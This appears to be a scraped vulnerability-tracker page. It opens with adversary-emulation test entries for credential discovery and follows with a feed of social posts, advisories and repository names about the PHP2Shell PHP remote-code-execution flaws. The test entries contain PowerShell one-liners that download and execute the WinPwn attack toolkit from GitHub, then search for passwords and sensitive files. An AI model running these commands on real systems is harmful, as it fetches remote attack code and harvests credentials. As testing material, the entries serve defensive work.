iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001
WinPwn - powershellsensitive
Windows
PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001
WinPwn - sensitivefiles
Windows
PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
222 mentions from 160 sources in the last 7 days BuzzFactor 100 / 100
-
code github.com MuhammadUwais 2026-11-04 13:22 UTCMuhammadUwais/php2shell-php-fpm-rceOpen source
-
advisory social.circl.lu @vulnerability_lookup 2026-11-04 12:11 UTC📊 Vulnerability Report – October 2026 PHP2Shell dominated: 1,773 sightings for CVE-2026-109618/109619, exploited on disclosure day, five days before CISA KEV. 17,097 CVEs published, a new record (+14.3%). Sightings rose 20%, while PoC (−38…Open source
-
social bsky.app @vulnerability-lookup.social.circl.lu.ap.brid.gy 2026-11-04 12:11 UTC📊 Vulnerability Report – October 2026 PHP2Shell dominated: 1,773 sightings for CVE-2026-109618/109619, exploited on disclosure day, five days before CISA KEV. 17,097 CVEs published, a new record (+14.3%). Sightings rose 20%, while PoC (−38…Open source
-
social bsky.app @windowsforum.com 2026-11-04 12:00 UTCWin11 26H2 clears 4 known issues (USB audio bug remains); BlackX UEFI bootkit bypasses Secure Boot DBX; PHP2Shell RCE (CVE-2026-109618) on Windows; fix Secure Boot invalid signature; PSPad 5.5.3 adds SFTP. +14 more stories, 3 new membersOpen source
-
code github.com catscarlet 2026-11-04 11:14 UTCcatscarlet/php-fpm-docker-PHP-8.0-CVE-2026-109618-109619-patchedOpen source
-
social bsky.app @pmloik.bsky.social 2026-11-04 07:57 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 621 interactions CVE-2026-109618: 66 interactions CVE-2026-111497: 66 interactions Top 3 CVE for yesterday: CVE-2026-98432: 59 interactions CVE-2026-58115: 12 interactions CVE-2026-58868: 11 inter…Open source
-
code github.com okumura-pico 2026-11-04 07:21 UTCokumura-pico/php-7.2.11-cve-2026-109618-fixOpen source
-
social bsky.app @kitafox.bsky.social 2026-11-04 01:11 UTCIPA、PHP2Shellへの注意喚起を更新 #IPA (Nov 2) www.ipa.go.jp/security/sec...Open source
-
code github.com SquidSec 2026-11-04 00:47 UTCSquidSec/php2shellOpen source
-
code github.com Danyw24 2026-11-03 23:14 UTCDanyw24/the-php2shell-recipeOpen source
-
social bsky.app @robrich.bsky.social 2026-11-03 22:48 UTCcontainersecurity.dev/blog/how-to-... - How do you fix #PHP2Shell inside #containers? Spoiler: use a modern base image.Open source
-
social bsky.app @percona.bsky.social 2026-11-03 20:39 UTCAfter PHP2Shell vulnerabilities were disclosed, Percona patched affected systems following earlier protective mitigations. Our investigation found no customer data impact or indicators of compromise to date. Update: https://bit.ly/4yU0f3d…Open source
-
code github.com emc-kk 2026-11-03 19:27 UTCemc-kk/php2shell-CVE-2026-109618-CVE-2026-109619-PoCOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-03 19:15 UTC5. CVE-2026-109618 · 6 people 🔥 🟥 Critical 9.2 · PHP RCE via OOM corruptionOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-03 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-98432 · 71 people 2. CVE-2026-58115 · 23 people 3. CVE-2026-97229 · 10 people 🔥 4. CVE-2026-86596 · 9 people 5. CVE-2026-109618 · 6 people 🔥 🔥 = on CISA's Known Exploited list · detai…Open source
-
news socprime.com 2026-11-03 18:09 UTCPHP2Shell Detection: CVE-2026-109618 & CVE-2026-109619 - SOC PrimeOpen source
-
social bsky.app @undercodenews.bsky.social 2026-11-03 14:53 UTCCritical PHP Vulnerabilities Enable Unauthenticated Remote Code Execution as BTCPay Server Users Report Cryptocurrency Theft + Video Two separate cybersecurity developments are raising concerns about vulnerabilities in internet-facing soft…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-03 14:12 UTCTwo critical PHP flaws, CVE-2026-109618 and CVE-2026-109619, allow unauthenticated remote code execution. Exploitation attempts are reported, and code execution has been observed on honeypots. Patches are available; eSentire reports no cus…Open source
-
social bsky.app @esgeeks.bsky.social 2026-11-03 10:21 UTCphp2shell: qué hicieron los proveedores de hosting #CVE #Hosting #PHPOpen source
-
code github.com SecOpsLimited 2026-11-03 08:43 UTCSecOpsLimited/php2shell-finderOpen source
-
social bsky.app @pmloik.bsky.social 2026-11-03 08:31 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 562 interactions CVE-2026-111497: 106 interactions CVE-2026-109618: 95 interactions Top 3 CVE for yesterday: CVE-2026-98432: 24 interactions CVE-2026-97229: 9 interactions CVE-2026-120277: 8 inter…Open source
-
social bsky.app @milanmilanovic.bsky.social 2026-11-03 07:30 UTC2/ On 21 October, emergency patches were released for PHP to address two critical issues (CVE-2026-109618 and CVE-2026-109619). They affect all versions of PHP released in the last decade.Open source
-
social bsky.app @alexosautonom.bsky.social 2026-11-03 07:09 UTCPHP2Shell (CVE-2026-109618/109619, CVSSv4 9.2): kritische RCE in PHP selbst, gepatcht am 21./22.10. ALEX hat dafür einen lokalen, read-only Self-Check gebaut — signiert, offline unabhängig nachprüfbar. https://alexproof.de/akte/php-exposur…Open source
-
social bsky.app @samilaiho.com 2026-11-03 06:34 UTCOracle Security Alert Advisory CVE-2026-109618 and CVE-2026-109619 URL: www.oracle.com/security-ale... Classification: Critical, Solution: Official Fix, Exploit Maturity: Not Defined, CVSSv3.1: 9.8Open source
-
social bsky.app @prgormley.bsky.social 2026-11-03 01:36 UTCLast week, the threat of an attack through a PHP flaw was real but theoretical. A day later, successful cyberattacks hit a honeypot set up by security researchers tracking cybercrime offenders. www.bleepingcomputer.com/news/securit...Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-02 22:24 UTCReversing Labs says AI-assisted research chained dormant PHP flaws CVE-2026-109618 and CVE-2026-109619 into PHP2Shell. It reports that pre-disclosure leaks triggered panic and early exploitation attempts before a patch was released.Open source
-
social bsky.app @arc-codex.com 2026-11-02 21:39 UTCThreat Brief: Critical Vulnerabilities in PHP: CVE-2026-109618, CVE This article frames the risk very broadly by focusing on public-facing management interfaces, yet it also includes a highly technical threat hunt query that seems designed…Open source
-
social bsky.app @alt.pds.lefht.cc 2026-11-02 19:15 UTC3. CVE-2026-109618 · 9 people 🔥 🟥 Critical 9.2 · PHP RCE via OOM corruptionOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-02 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-98432 · 33 people 2. CVE-2026-97229 · 10 people 🔥 3. CVE-2026-109618 · 9 people 🔥 4. CVE-2026-111357 · 9 people 🔥 5. CVE-2026-118527 · 8 people 🔥 🔥 = on CISA's Known Exploited list ·…Open source
-
code github.com ankushsinghrajput-git 2026-11-02 17:31 UTCankushsinghrajput-git/php_vulnerability_scannerOpen source
-
social bsky.app @cyfar.ca 2026-11-02 17:21 UTC@reversinglabs.com AI-assisted PHP flaws enabled remote code execution and data theft; leaks triggered early exploit attempts before patching. - IOCs: CVE-2026-109618, CVE-2026-109619 - #CVE2026 #PHP2Shell #ThreatIntelOpen source
-
social bsky.app @sergioiker.bsky.social 2026-11-02 16:51 UTCPHP2Shell: two critical PHP flaws (CVE-2026-109618/-109619) are exploited in the wild, CISA confirms. "Remote code execution" = attackers run commands on your server. Patch. (via BleepingComputer) 3/7Open source
-
social bsky.app @inlinestyle.bsky.social 2026-11-02 15:25 UTCmail.inlinestyle.it has been updated to the latest Mailu release (2024.06.67), which ships a patched webmail runtime fixing the recent PHP2Shell CVEs (CVE-2026-109618, CVE-2026-109619). Your mail keeps getting the security updates it deser…Open source
-
social bsky.app @in4matics.cat 2026-11-02 13:53 UTC⚠️ Amazon confirma que l'explotació de PHP2Shell (CVE-2026-109618 i CVE-2026-109619) va començar el dissabte 17 d'octubre: quatre dies abans que sortissin els pegats. RCE crític a PHP. La divulgació coordinada s'havia d' ...Open source
-
social bsky.app @in4matics.cat 2026-11-02 13:53 UTCClouding publica un repositori APT/YUM amb PHP per a les distribucions que Sury ja no compila: Ubuntu 14.04, 16.04, 18.04 i 20.04. Paquets construïts des del codi font d'Ondrej Sury, amb el pegat de PHP2Shell (CVE-2026-1 ...Open source
-
social bsky.app @arc-codex.com 2026-11-02 13:23 UTCPHP Patches Two Critical Unauthenticated RCEs (CVE-2026-109618, CVE-2026 This article strongly frames coordinated disclosure as a success, but it dangerously oversimplifies risk management by treating patching as the singular, perfect solu…Open source
-
social bsky.app @offseq.bsky.social 2026-11-02 12:00 UTCWAGO CC100 faces CRITICAL PHP2Shell vuln (CVE-2026-109618). Exploit lets attackers control PHP via web UI — no patch yet. Restrict device web access & monitor for updates. https://radar.offseq.com/threat/wago-multiple-devices-affected-by-p…Open source
-
social infosec.exchange @offseq 2026-11-02 12:00 UTCCVE-2026-109618 (PHP2Shell) – CRITICAL vuln in WAGO CC100. Attackers can hijack the PHP process via web UI; public exploit exists, no patch yet. Restrict access & monitor for updates. https:// radar.offseq.com/threat/wago-m ultiple-devices…Open source
-
code github.com geokali21 2026-11-02 11:41 UTCgeokali21/PHP2SHELL-TRYHACKME-WALKTHROUGHOpen source
-
code github.com jackyho522 2026-11-02 11:08 UTCjackyho522/PHP2Shell-CVE-2026-109618-Raw-HTTPOpen source
-
social bsky.app @certvde.infosec.exchange.ap.brid.gy 2026-11-02 10:58 UTC🔒 New CSAF advisory published VDE-2026-139 Two critical PHP vulnerabilities in several Festo Didactic products CVE-2026-109618, CVE-2026-109619 Festo Didactic FactoryViews and MES4 deployed along with xampp bundle an Apache web server with…Open source
-
code github.com mrnaeem4 2026-11-02 10:15 UTCmrnaeem4/wazuh-php2shellOpen source
-
social bsky.app @certvde.infosec.exchange.ap.brid.gy 2026-11-02 10:07 UTC🔒 New CSAF advisory published VDE-2026-132 WAGO: Multiple Devices affected by PHP2Shell CVE-2026-109618, CVE-2026-109619 Critical vulnerabilities in the PHP runtime may allow a remote attacker to execute arbitrary code by exploiting weakne…Open source
-
social bsky.app @pmloik.bsky.social 2026-11-02 08:11 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 538 interactions CVE-2026-109618: 160 interactions CVE-2026-111497: 148 interactions Top 3 CVE for yesterday: CVE-2026-98432: 44 interactions CVE-2026-97229: 13 interactions CVE-2026-110264: 9 int…Open source
-
social bsky.app @getpagespeed.bsky.social 2026-11-02 07:18 UTCPHP2Shell on CentOS 6: Patched PHP 5.3, 7.0 and 7.1 PHP2Shell (CVE-2026-109618, CVE-2026-109619) has no distribution or upstream fix on CentOS 6. Here is the in-place fix for the stock PHP 5.3 and Remi PHP 7.0 and 7.1, free to install.Open source
-
social bsky.app @trustlist.bsky.social 2026-11-02 06:43 UTCSecurity advisories 8/11 Synology adds PHP2Shell fixes for older DSM, but not for PHP 7.3 Advisory Synology-SA-26:14 now covers Calendar and Mail Station on DSM 6.2 to 7.1. #infosec #cybersecurity trustlist.uk/security-advisorie…Open source
-
code github.com andrysunjaya 2026-11-02 05:47 UTCandrysunjaya/php2shell-scannerOpen source
-
code github.com secopsxsaiyan 2026-11-02 04:23 UTCsecopsxsaiyan/php2shell-wazuh-detectionsOpen source
-
news the420.in 2026-11-02 01:46 UTCAttackers Chain Linux Flaw With Webshells to Gain Administrative Control - The 420.inOpen source
-
code github.com drekbad 2026-11-01 22:26 UTCdrekbad/php-searchOpen source